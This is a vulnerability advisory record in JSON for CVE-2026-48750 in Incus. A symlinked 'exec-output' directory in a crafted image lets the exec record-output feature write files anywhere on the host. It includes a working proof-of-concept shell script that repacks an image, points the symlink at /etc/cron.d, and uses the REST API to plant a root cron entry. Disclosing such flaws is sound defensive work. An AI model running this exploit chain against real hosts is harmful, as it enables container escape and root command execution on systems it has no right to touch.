CVE-2026-48750: Github.com/lxc/incus/v7/cmd/incusd Incus Has An Arbitrary File Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-73hr-m85f-64v9",
  "modified" : "2026-06-26T18:32:52Z",
  "published" : "2026-06-26T18:32:52Z",
  "aliases" : [ "CVE-2026-48750" ],
  "summary" : "Incus has an arbitrary file write on host via `exec-output` symlink in crafted image",
  "details" : "### Summary\n\nThe `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution.\n\n\n### Details\n\nWhen an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink.\n\n\n### PoC\n\nBelow, we place the `exec_UUID.stdout` file in `/etc/cron.d` on\nthe host for arbitrary command execution.\n\n```\n#!/bin/sh\n# usage: $0 existing-imagefp\nset -eu\n\nbasefp=\"${1}\"\n\ndie() {\n        printf '%s' \"${@}\" >&2\n        exit 1\n}\n\ncommand -v curl >/dev/null 2>&1 || die 'error: curl not found\\n'\ncommand -v python3 >/dev/null 2>&1 || die 'error: python3 not found\\n'\n\ntmpdir=$(mktemp -d)\ncleanup() {\n        rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\n\n# insert exec-output symlink\n\nincus image export \"${basefp}\" \"${tmpdir}/img\"\n\nmkdir \"${tmpdir}/repack\"\ncd \"${tmpdir}/repack\"\n\nxz -cd \"${tmpdir}/img\" | tar -f- -vx\n\nrm -rf exec-output\nln -s /etc/cron.d exec-output\n\ntar -f- -c * | gzip -c9 >\"${tmpdir}/img\"\n\ncd - >/dev/null\nincus image import \"${tmpdir}\"/img* --alias afw-exec-output\n\n\n# Launch container, exec with record-output via REST API\nincus launch afw-exec-output afw-exec-output\nincus wait afw-exec-output ip\n\nOP=$(curl -s --unix-socket /var/lib/incus/unix.socket \\\n  -X POST -H 'Content-Type: application/json' \\\n  -d '{\"command\":[\"/bin/sh\",\"-c\",\"echo * * * * * root id'\"'>'\"'/afw-exec-output\"],\"record-output\":true}' \\\n  \"lxd/1.0/instances/afw-exec-output/exec\" | python3 -c \"import sys,json;print(json.load(sys.stdin)['operation'])\")\n\ncurl -s --unix-socket /var/lib/incus/unix.socket \"$OP/wait?timeout=30\" >/dev/null\n\n#find /etc/cron.d/exec_* -exec cat {} \\;\n```\n\n### Impact\n\nConstrained file creation in an arbitrary directory on the host via\nvia an unsanitized symlink; possibly leading to command execution.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v7/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T18:32:52Z",
    "nvd_published_at" : null
  }
}